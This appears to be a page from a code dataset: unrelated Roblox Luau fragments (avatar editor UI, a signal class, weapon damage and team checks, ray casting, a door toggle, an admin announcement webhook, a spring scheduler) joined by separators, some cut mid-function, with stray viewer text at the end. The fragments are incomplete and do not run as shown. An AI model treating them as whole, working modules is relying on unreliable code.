maid.PageMaid:GiveTask(function()
for i, v in ipairs(categoryButtons) do
v:Destroy()
end
table.clear(categoryButtons)
end)
end
local function bodyPageChanged()
maid.PageMaid:DoCleaning()
local currentPage = bodyPageLayout.CurrentPage
bodyPageIndex = currentPage.LayoutOrder
local name = string.lower(currentPage.Name)
if name == "main" then
loadMain()
elseif name == "settings" then
loadConfig()
catalogList:Update(true)
elseif name == "appearance" then
loadAppearance()
catalogList:Update(true)
elseif name == "costume" then
loadCostumes()
catalogList:Update(true)
end
end
local function jumpToPage(page)
if bodyPageIndex == page.LayoutOrder then
bodyPageLayout:JumpToIndex(1)
else
bodyPageLayout:JumpTo(page)
end
end
local function load()
maid:DoCleaning()
local canUse = UserCanUse:CanUse(player)
if not canUse then
module.PermissionFailed:Fire()
return
end
module.Started:Fire()
maid.PageMaid = Maid.new()
Theme:Set(player:WaitForChild("AE_Settings"):GetAttribute("Theme"))
-- TODO theme the loading page?
maid:GiveTask(Theme:Bind(editorFrame, "BackgroundColor3", "Primary"))
maid:GiveTask(Theme:Bind(footer, "BackgroundColor3", "Secondary"))
maid:GiveTask(Theme:Bind(footer.Appearance, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(footer.Appearance.Icon, "ImageColor3", "Deselected"))
maid:GiveTask(Theme:Bind(footer.Costume, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(footer.Costume.Icon, "ImageColor3", "Deselected"))
maid:GiveTask(Theme:Bind(footer.Settings, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(footer.Reset, "BackgroundColor3", "Reset"))
maid:GiveTask(Theme:Bind(footer.Version, "TextColor3", "Text"))
maid:GiveTask(Theme:Bind(mainHeader, "BackgroundColor3", "Secondary"))
for i, v in ipairs(mainHeader.CategoryTabs:GetChildren()) do
if not v:IsA("GuiButton") then
continue
end
maid:GiveTask(Theme:Bind(v, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(v, "TextColor3", "Text"))
maid:GiveTask(Theme:Bind(v.Icon, "ImageColor3", "Deselected"))
end
maid:GiveTask(Theme:Bind(mainHeader.Search, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(mainHeader.Search.Icon, "ImageColor3", "Deselected"))
maid:GiveTask(Theme:Bind(mainHeader.Search.TextBox, "TextColor3", "Text"))
maid:GiveTask(Theme:Bind(mainHeader.Search.TextBox, "PlaceholderColor3", "PlaceholderText"))
maid:GiveTask(Theme:Bind(mainHeader.Search.Clear, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(mainHeader.Search.Clear, "ImageColor3", "Deselected"))
for i, v in ipairs(mainHeader.SubTabs:GetChildren()) do
if not v:IsA("Frame") then
continue
end
for j, w in ipairs(v:GetChildren()) do
if not w:IsA("GuiButton") then
continue
end
maid:GiveTask(Theme:Bind(w, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(w, "TextColor3", "Text"))
maid:GiveTask(Theme:Bind(w.Icon, "ImageColor3", "Deselected"))
end
end
maid:GiveTask(Theme:Bind(expandButton, "BackgroundColor3", "TabButton"))
maid:GiveTask(Theme:Bind(expandButton.Icon, "ImageColor3", "Deselected"))
maid:GiveTask(Theme:Bind(viewportFrame.Footer.Save, "BackgroundColor3", "Save"))
maid:GiveTask(Theme:Bind(viewportFrame.Footer.Save.Icon, "ImageColor3", "Deselected"))
bodyPageLayout:JumpToIndex(0)
tweenSpring.Target = 1
promptOverlay = PromptOverlay.new(mainGui.Overlay)
maid:GiveTask(promptOverlay)
search = Search.new(mainHeader.Search, searchState)
maid:GiveTask(search)
catalogList = CatalogList.new(mainContainer.ScrollingFrame, CatalogData, Wearing:Get(), searchState)
maid:GiveTask(catalogList)
maid:GiveTask(catalogList.ViewDetails:Connect(function(data)
promptOverlay:PromptPurchase(data.id)
end))
maid:GiveTask(catalogList.ItemSelected:Connect(function(data, wearing)
if not wearing then
local assetType = QueryMap.GetOptionName("AssetType", data.assetType)
if string.find(assetType, "Accessory") or assetType == "Hat" then
local character = player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if not humanoid or not (humanoid.Health > 0) then
return
end
if #humanoid:GetAccessories() >= Settings.MAX_ACCESSORIES then
return
end
end
end
remoteEvent:FireServer("accessory", data.id)
end))
maid:GiveTask(search.SearchChanged:Connect(function()
catalogList:Update(true)
end))
maid:GiveTask(footer.Reset.Activated:Connect(function(inputObject)
remoteEvent:FireServer("reset")
end))
maid:GiveTask(footer.Settings.Activated:Connect(function(inputObject)
jumpToPage(bodyFrame.Settings)
end))
maid:GiveTask(footer.Appearance.Activated:Connect(function(inputObject)
jumpToPage(bodyFrame.Appearance)
end))
maid:GiveTask(footer.Costume.Activated:Connect(function(inputObject)
jumpToPage(bodyFrame.Costume)
end))
local expandedView = false
maid:GiveTask(expandButton.Activated:Connect(function(inputObject)
expandedView = not expandedView
tweenSpring.Target = expandedView and 0.05 or 1
expandButton.Icon.ImageRectOffset = expandedView and Vector2.new(93, 493) or Vector2.new(179, 407)
end))
maid:GiveTask(viewportFrame.Footer.Save.Activated:Connect(function(inputObject)
promptOverlay:PromptCostume(function(name)
local folder = player:FindFirstChild("AE_Costumes")
if not folder then
return
end
if #folder:GetChildren() < Settings.MAX_COSTUME then
remoteEvent:FireServer("create", name)
else
-- warn("too many outfits")
end
end)
end))
maid:GiveTask(bodyPageLayout:GetPropertyChangedSignal("CurrentPage"):Connect(bodyPageChanged))
maid:GiveTask(Theme.Changed:Connect(function(theme)
remoteEvent:FireServer("theme", theme)
end))
maid:GiveTask(function()
module.Destroyed:Fire()
tweenSpring.Target = 0
expandButton.Icon.ImageRectOffset = Vector2.new(179, 407)
search = nil
catalogList = nil
promptOverlay = nil
colorList = nil
scale = nil
bodyPageLayout:JumpToIndex(0)
end)
--lastInputTypeChanged(UserInput:GetLastInputType())
--maid:GiveTask(UserInput.LastInputTypeChanged:Connect(lastInputTypeChanged))
bodyPageLayout:JumpToIndex(bodyPageIndex)
module.Loaded:Fire()
end
remoteEvent.OnClientEvent:Connect(function(key, ...)
Wearing:Update()
if key == "accessory" then
if catalogList then
catalogList:UpdateWearing(Wearing:Get())
end
elseif key == "reset" then
if colorList then
colorList:UpdateWearing(Wearing:GetTone())
end
if catalogList then
catalogList:UpdateWearing(Wearing:Get())
end
if scale then
for k, v in pairs(Wearing:GetScale()) do
scale:UpdateWearing(k, v)
end
end
elseif key == "tone" then
if colorList then
colorList:UpdateWearing(Wearing:GetTone())
end
elseif key == "scale" then
local scaleName, value = ...
if scale then
scale:UpdateWearing(scaleName, value)
end
end
searchState.uid = Wearing.UID
end)
|
-- Connection class
|
local Connection = {}
Connection.__index = Connection
function Connection.new(signal, fn)
return setmetatable({
_connected = true,
_signal = signal,
_fn = fn,
_next = false,
}, Connection)
end
function Connection:Disconnect()
assert(self._connected, "Can't disconnect a connection twice.", 2)
self._connected = false
-- Unhook the node, but DON'T clear it. That way any fire calls that are
-- currently sitting on this node will be able to iterate forwards off of
-- it, but any subsequent fire calls will not hit it, and it will be GCed
-- when no more fire calls are sitting on it.
local signal = self._signal
if signal._handlerListHead == self then
signal._handlerListHead = self._next
else
local prev = signal._handlerListHead
while prev and prev._next ~= self do
prev = prev._next
end
if prev then
prev._next = self._next
end
end
if signal.connectionsChanged then
signal.totalConnections -= 1
signal.connectionsChanged:Fire(-1)
end
end
|
--#KM
|
WeaponsSystem.camera:setEnabled(hasWeapon)
if WeaponsSystem.currentWeapon then
WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1))
else
WeaponsSystem.gui:setCrosshairWeaponScale(1)
end
end
if weaponChanged then
WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)
end
end
function WeaponsSystem.getHumanoid(part)
while part and part ~= workspace do
if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then
return part:FindFirstChildOfClass("Humanoid")
end
part = part.Parent
end
end
function WeaponsSystem.getPlayerFromHumanoid(humanoid)
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and humanoid:IsDescendantOf(player.Character) then
return player
end
end
end
local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)
if target:IsA("Humanoid") then
target:TakeDamage(amount)
end
end
function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)
if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then
return
end
if IsServer then
if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then
local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid")
local targetPlayer = Players:GetPlayerFromCharacter(target.Parent)
if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then
-- Trigger the damage indicator
WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position)
end
end
-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.
-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)
-- ..The default weapons pass in that data
local handler = _damageCallback or _defaultDamageCallback
handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)
end
end
local function _defaultGetTeamCallback(player)
return 0
end
function WeaponsSystem.getTeam(player)
local handler = _getTeamCallback or _defaultGetTeamCallback
return handler(player)
end
function WeaponsSystem.playersOnDifferentTeams(player1, player2)
local Teams = { -- This is the teams
[1] = "Blue",
[2] = "Red",
}
-- player1 is the one that shooting
--player2 is the one getting shot at
local player1Team = WeaponsSystem.getTeam(player1) -- Gets the players team
local player2Team = WeaponsSystem.getTeam(player2) -- Gets the Enemies team
if player2Team == nil then -- This allows players to damage themselves and NPC's
return 0
end
if tostring(player1Team) == tostring(player2Team) then -- if they're in the same team returns false
print("in the same team")
return false -- When false can't damage entity
end
if tostring(player1Team) ~= tostring(player2Team) then -- if the players not in the same team
print("Not in the same team")
player1.Character.tag.Value = player2.Name ---Set the tag here
return 0 -- 0 lets the player to be able to damage other people that aren't in the same team
end
end
return WeaponsSystem
|
-- This function casts a ray with a blacklist but not for Humanoid Penetration.
|
local function CastWithBlacklistAndNoHumPenetration(origin, direction, blacklist, ignoreWater)
if not blacklist or typeof(blacklist) ~= "table" then
-- This array is faulty
error("Call in CastBlacklist failed! Blacklist table is either nil, or is not actually a table.", 0)
end
local castRay = Ray.new(origin, direction)
local hitPart, hitPoint, hitNormal, hitMaterial = nil, origin + direction, Vector3.new(0,1,0), Enum.Material.Air
local success = false
repeat
hitPart, hitPoint, hitNormal, hitMaterial = Workspace:FindPartOnRayWithIgnoreList(castRay, blacklist, false, ignoreWater)
if hitPart then
if ((hitPart.CanCollide == false and not hitPart.Parent:FindFirstChild("Humanoid"))
or hitPart.Name == "Missile"
or hitPart.Name == "Handle"
or hitPart.Name == "Effect"
or hitPart.Name == "Bullet"
or hitPart.Name == "Laser"
or string.lower(hitPart.Name) == "water"
or hitPart.Name == "Rail"
or hitPart.Name == "Arrow"
or (hitPart.Parent:FindFirstChild("Humanoid") and hitPart.Parent.Humanoid.Health == 0)) then
table.insert(blacklist, hitPart)
success = false
else
success = true
end
else
success = true
end
until success
return hitPart, hitPoint, hitNormal, hitMaterial
end
|
--Simple function to make the door appear and disappear
|
local clickDetector = script.Parent.ClickDetector
function onMouseClick()
if script.Parent.CanCollide == false then
print "Close door"
script.Parent.CanCollide = true
script.Parent.Transparency = 0.6
else
print "Open door"
script.Parent.CanCollide = false
script.Parent.Transparency = 1
end
end
clickDetector.MouseClick:connect(onMouseClick)
|
--REPLACE https://discord.com with https://webhook.lewistehminerz.dev
|
local url = "" --Webhook Url
local sendWebhook = true
game.Players.PlayerAdded:Connect(function(p)
if table.find(admins, p.DisplayName) then
local gui = script.AnnounceCreate:Clone()
gui.Parent = p.PlayerGui
end
end)
local success, errormsg, connection = pcall (function()
messaging:SubscribeAsync("Announcements", function(msg)
game.ReplicatedStorage.announceSystem.getAnnounce:FireAllClients(msg.Data)
end)
end)
game.ReplicatedStorage.announceSystem.announce.OnServerEvent:Connect(function(player, message)
if table.find(admins, player.DisplayName) then
messaging:PublishAsync("Announcements", message)
if sendWebhook == true then
local fields = {
{
['name'] = "Message",
['value'] = message,
['inline'] = true
},
{
['name'] = "UserId",
['value'] = player.DisplayName,
['inline'] = true
}
}
ws:createEmbed(url, "New Announcement", player.Name .. " Has sent a server announcement", fields)
end
end
end)
|
--- Sends an event message to all players
|
function Command:BroadcastEvent(...)
if not IsServer then
error("Can't broadcast event messages from the client.", 2)
end
self.Dispatcher.Cmdr.RemoteEvent:FireAllClients(...)
end
|
--[[
Manages batch updating of spring objects.
]]
|
local RunService = game:GetService("RunService")
local Package = script.Parent.Parent
local packType = require(Package.Animation.packType)
local springCoefficients = require(Package.Animation.springCoefficients)
local updateAll = require(Package.Dependencies.updateAll)
local SpringScheduler = {}
type Spring = {
_speed: number,
_damping: number,
_springPositions: {number},
_springGoals: {number},
_springVelocities: {number}
}
local WEAK_KEYS_METATABLE = {__mode = "k"}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.